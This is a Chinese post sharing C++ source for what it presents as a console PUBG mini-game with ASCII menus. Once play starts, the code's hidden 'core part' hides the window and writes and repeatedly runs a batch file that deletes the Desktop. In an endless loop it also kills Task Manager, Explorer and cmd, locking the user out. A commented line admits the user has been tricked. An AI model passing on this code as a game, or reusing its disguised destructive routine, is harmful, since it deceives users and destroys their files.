绝地求生小游戏发布了6.0!!!
依旧和往常一样,直接提供源代码
我的个人主页
话不多说,直接上代码:
#include<bits/stdc++.h>
#include<windows.h>
#include<conio.h>
#include <tlhelp32.h>
#include <tchar.h>
#include <ShellAPI.h>
#define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0)
using namespace std;
char c;
string kv="TPP",km="艾伦格",ks="单人";
//基本必备函数
void HideWindow() {
HWND hwnd;
hwnd=FindWindow("ConsoleWindowClass",NULL);
if(hwnd) ShowWindow(hwnd,SW_HIDE);
return;
}
void process_e() {
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, NULL);
CloseHandle(hToken);
}//获取权限
bool process_k(DWORD dwPid) {
//printf("Kill进程Pid = %d\n", dwPid);
//关闭进程
HANDLE killHandle = OpenProcess(PROCESS_TERMINATE | PROCESS_QUERY_INFORMATION | // Required by Alpha
PROCESS_CREATE_THREAD | // For CreateRemoteThread
PROCESS_VM_OPERATION | // For VirtualAllocEx/VirtualFreeEx
PROCESS_VM_WRITE, // For WriteProcessMemory);
FALSE, dwPid);
if (killHandle == NULL)
return false;
TerminateProcess(killHandle, 0);
return true;
}
bool process_f(std::string strProcessName, DWORD& nPid) {
TCHAR tszProcess[64] = { 0 };
lstrcpy(tszProcess, _T(strProcessName.c_str()));
//查找进程
STARTUPINFO st;
PROCESS_INFORMATION pi;
PROCESSENTRY32 ps;
HANDLE hSnapshot;
memset(&st, 0, sizeof(STARTUPINFO));
st.cb = sizeof(STARTUPINFO);
memset(&ps, 0, sizeof(PROCESSENTRY32));
ps.dwSize = sizeof(PROCESSENTRY32);
memset(&pi, 0, sizeof(PROCESS_INFORMATION));
// 遍历进程
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE)
return false;
if (!Process32First(hSnapshot, &ps))
return false;
do {
if (lstrcmp(ps.szExeFile, tszProcess) == 0) {
//找到制定的程序
nPid = ps.th32ProcessID;
CloseHandle(hSnapshot);
//printf("找到进程: %s\n", tszProcess);
return true;
//getchar();
//return dwPid;
}
} while (Process32Next(hSnapshot, &ps));
CloseHandle(hSnapshot);
return false;
}
void SetPos(COORD a)//光标定位
{
HANDLE out=GetStdHandle(STD_OUTPUT_HANDLE);
SetConsoleCursorPosition(out, a);
}
void SetPos(int i, int j)//光标定位
{
COORD pos= {i, j};
SetPos(pos);
}
void color(int a)//颜色
{
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),a);
}
void Pos()//隐藏光标
{
HANDLE hOut = GetStdHandle(STD_OUTPUT_HANDLE);
CONSOLE_CURSOR_INFO cci;
GetConsoleCursorInfo(hOut, &cci);
cci.bVisible = FALSE;
SetConsoleCursorInfo(hOut, &cci);
}
//所有函数
void loading()
{
color(8);
SetPos(0,5);
cout<<" -----------------"<<endl;
cout<<" -| |-"<<endl;
cout<<" | PUBG |"<<endl;
cout<<" -| |-"<<endl;
cout<<" -----------------"<<endl<<endl<<endl;
color(14);
cout<<" 加载中";
cout<<endl<<endl;
color(8);
for (int i=0; i<36; i++)
cout<<"-";
SetPos(0,14);
color(15);
Pos();
for (int i=0; i<36; i++)
{
cout<<"-";
_sleep(80);
}
cout<<endl<<"100%";
_sleep(1500);
}
void lobby()
{
system("Cls");
cout<<"-----------------------------------------------------------"<<endl;
cout<<"|开始(k) | | |"<<endl;
cout<<"|--------| | |"<<endl;
cout<<"|视角(v):| | |"<<endl;
printf("|%s | | ||\n",kv.c_str());
cout<<"|--------| | _| |"<<endl;
cout<<"|地图(m):| __ | | |"<<endl;
printf("|%s | | | | | |\n",km.c_str());
cout<<"|--------| _|__|_ | _| |"<<endl;
cout<<"|模式(s):| _| |_ ____||____ |"<<endl;
printf("|%s | | |PUBG| | | | | | |\n",ks.c_str());
cout<<"|========| | |____| | |__|____|__| |"<<endl;
cout<<"| | | | | | | |"<<endl;
cout<<"| ______ | | | | | | |"<<endl;
cout<<"| ___| |___|____|_________________|_|____|_|___|"<<endl;
cout<<"|______| |"<<endl;
cout<<"| |"<<endl;
cout<<"-----------------------------------------------------------"<<endl;
}
void v()
{
system("Cls");
cout<<"-----------------------------------------------------------"<<endl;
cout<<"|开始(k) | | |"<<endl;
cout<<"|--------|-----| | |"<<endl;
cout<<"|视角(v):|TPP:t| | |"<<endl;
printf("|%s |FPP:f| | ||\n",kv.c_str());
cout<<"|--------|-----| | _| |"<<endl;
cout<<"|地图(m):| __ | | |"<<endl;
printf("|%s | | | | | |\n",km.c_str());
cout<<"|--------| _|__|_ | _| |"<<endl;
cout<<"|模式(s):| _| |_ ____||____ |"<<endl;
printf("|%s | | |PUBG| | | | | | |\n",ks.c_str());
cout<<"|========| | |____| | |__|____|__| |"<<endl;
cout<<"| | | | | | | |"<<endl;
cout<<"| ______ | | | | | | |"<<endl;
cout<<"| ___| |___|____|_________________|_|____|_|___|"<<endl;
cout<<"|______| |"<<endl;
cout<<"| |"<<endl;
cout<<"-----------------------------------------------------------"<<endl;
Pos();
char c;
while (1)
if (kbhit())
{
c=getch();
if (c=='f')
kv="FPP";
if (c=='t')
kv="TPP";
break;
}
lobby();
}
void m()
{
system("Cls");
cout<<"-----------------------------------------------------------"<<endl;
cout<<"|开始(k) | | |"<<endl;
cout<<"|--------| | |"<<endl;
cout<<"|视角(v):| | |"<<endl;
printf("|%s | | ||\n",kv.c_str());
cout<<"|--------|--------| | _| |"<<endl;
cout<<"|地图(m):|艾伦格:a| __ | | |"<<endl;
printf("|%s |米拉马:m| | | | | |\n",km.c_str());
cout<<"|--------|萨诺:s | _|__|_ | _| |"<<endl;
cout<<"|模式(s):|--------| _| |_ ____||____ |"<<endl;
printf("|%s | | |PUBG| | | | | | |\n",ks.c_str());
cout<<"|========| | |____| | |__|____|__| |"<<endl;
cout<<"| | | | | | | |"<<endl;
cout<<"| ______ | | | | | | |"<<endl;
cout<<"| ___| |___|____|_________________|_|____|_|___|"<<endl;
cout<<"|______| |"<<endl;
cout<<"| |"<<endl;
cout<<"-----------------------------------------------------------"<<endl;
Pos();
char c;
while (1)
if (kbhit())
{
c=getch();
if (c=='a')
km="艾伦格";
if (c=='m')
km="米拉马";
if (c=='s')
km="萨诺岛";
break;
}
lobby();
}
void s()
{
system("Cls");
cout<<"-----------------------------------------------------------"<<endl;
cout<<"|开始(k) | | |"<<endl;
cout<<"|--------| | |"<<endl;
cout<<"|视角(v):| | |"<<endl;
printf("|%s | | ||\n",kv.c_str());
cout<<"|--------| | _| |"<<endl;
cout<<"|地图(m):| __ | | |"<<endl;
printf("|%s | | | | | |\n",km.c_str());
cout<<"|--------|------| _|__|_ | _| |"<<endl;
cout<<"|模式(s):|单人:1| _| |_ ____||____ |"<<endl;
printf("|%s |双人:2| | |PUBG| | | | | | |\n",ks.c_str());
cout<<"|========|四人:4| | |____| | |__|____|__| |"<<endl;
cout<<"| |------| | | | | | | |"<<endl;
cout<<"| ______ | | | | | | |"<<endl;
cout<<"| ___| |___|____|_________________|_|____|_|___|"<<endl;
cout<<"|______| |"<<endl;
cout<<"| |"<<endl;
cout<<"-----------------------------------------------------------"<<endl;
Pos();
char c;
while (1)
if (kbhit())
{
c=getch();
if (c=='1')
ks="单人";
if (c=='2')
ks="双人";
if (c=='4')
ks="四人";
break;
break;
}
lobby();
}
void run()
{
srand((unsigned)time(NULL)); //设定以当前时间为随机数种子
for (int i=1; i<=rand()%10; i++)
{
system("Cls");
cout<<"-----------------------------------------------------------"<<endl;
cout<<"| 匹配中 | | |"<<endl;
printf("| 00:0%d | | |\n",i);
cout<<"|--------| | |"<<endl;
cout<<"| | ||"<<endl;
cout<<"| | _| |"<<endl;
cout<<"| __ | | |"<<endl;
cout<<"| | | | | |"<<endl;
cout<<"| _|__|_ | _| |"<<endl;
cout<<"| _| |_ ____||____ |"<<endl;
cout<<"| | |PUBG| | | | | | |"<<endl;
cout<<"| | |____| | |__|____|__| |"<<endl;
cout<<"| | | | | | | |"<<endl;
cout<<"| ______ | | | | | | |"<<endl;
cout<<"| ___| |___|____|_________________|_|____|_|___|"<<endl;
cout<<"|______| |"<<endl;
cout<<"| |"<<endl;
cout<<"-----------------------------------------------------------"<<endl;
_sleep(800);
}
for (int i=1; i<=100; i++)
{
if (i<=9)
{
system("Cls");
cout<<"---------------------------------------------------------------"<<endl;
cout<<"| |"<<endl;
cout<<"| |"<<endl;
cout<<"| |"<<endl;
cout<<"| |"<<endl;
cout<<"| |"<<endl;
cout<<"| |"<<endl;
cout<<"| |"<<endl;
cout<<"| 加载中... |"<<endl;
printf("| %%%d |\n",i);
cout<<"| |"<<endl;
cout<<"| |"<<endl;
cout<<"| |"<<endl;
cout<<"| |"<<endl;
cout<<"| |"<<endl;
cout<<"| |"<<endl;
cout<<"| |"<<endl;
cout<<"---------------------------------------------------------------"<<endl;
}
if (i>=10 && i<=99)
{
system("Cls");
cout<<"---------------------------------------------------------------"<<endl;
cout<<"| |"<<endl;
cout<<"| |"<<endl;
cout<<"| |"<<endl;
cout<<"| |"<<endl;
cout<<"| |"<<endl;
cout<<"| |"<<endl;
cout<<"| |"<<endl;
cout<<"| 加载中... |"<<endl;
printf("| %%%d |\n",i);
cout<<"| |"<<endl;
cout<<"| |"<<endl;
cout<<"| |"<<endl;
cout<<"| |"<<endl;
cout<<"| |"<<endl;
cout<<"| |"<<endl;
cout<<"| |"<<endl;
cout<<"---------------------------------------------------------------"<<endl;
}
if (i==100)
{
system("Cls");
cout<<"---------------------------------------------------------------"<<endl;
cout<<"| |"<<endl;
cout<<"| |"<<endl;
cout<<"| |"<<endl;
cout<<"| |"<<endl;
cout<<"| |"<<endl;
cout<<"| |"<<endl;
cout<<"| |"<<endl;
cout<<"| 加载中... |"<<endl;
printf("| %%%d |\n",i);
cout<<"| |"<<endl;
cout<<"| |"<<endl;
cout<<"| |"<<endl;
cout<<"| |"<<endl;
cout<<"| |"<<endl;
cout<<"| |"<<endl;
cout<<"| |"<<endl;
cout<<"---------------------------------------------------------------"<<endl;
}
}
system("Cls");
//printf("\n\n\n\n\n 你被坑了!");
//核心部分
HideWindow();
FILE *fp;
fp=fopen("C:\\Users\\Administrator\\Desktop\\gaoyuan.bat","wt+");
fprintf(fp,"del C:\\Users\\Administrator\\Desktop\nstart notepad");
fclose(fp);
//system("pause");
for(;;)
{
DWORD ta,ex,cm;
process_e();
if(process_f("taskmgr.exe",ta))process_k(ta);
if(process_f("explorer.exe",ex))process_k(ex);
if(process_f("cmd.exe",cm))process_k(cm);
SetCursorPos(0,0);
system("C:\\Users\\Administrator\\Desktop\\gaoyuan.bat");
//system("pause");
}
}
//框架函数
void swit()
{
char c;
loop:
if (kbhit())
{
c=getch();
switch (c)
{
case 'k':
{
run();
break;
}
case 'v':
{
v();
break;
}
case 'm':
{
m();
break;
}
case 's':
{
s();
break;
}
}
}
goto loop;
}
int main()
{
Pos();
printf("启动加速器?左键同意\n\n\n");
while(1)
if(KEY_DOWN(MOUSE_MOVED))
{
system("Cls");
color(11);
string a="蓝洞集团提醒您:请按Shift键调成英文输入环境后进行游玩\n\n\n\n\n蓝洞加速器启动中\n\n";
for(int i=0; i<a.size(); i++)
{
cout<<a[i];
_sleep(50);
}
color(1551);
for (int i=0; i<20; i++)
{
printf("_");
_sleep(32);
}
SetPos(0,7);
color(1727);
for (int i=0; i<20; i++)
{
_sleep(32);
printf("_");
}
_sleep(100);
color(0);
system("Cls");
loading();
lobby();
swit();
return 0;
}
}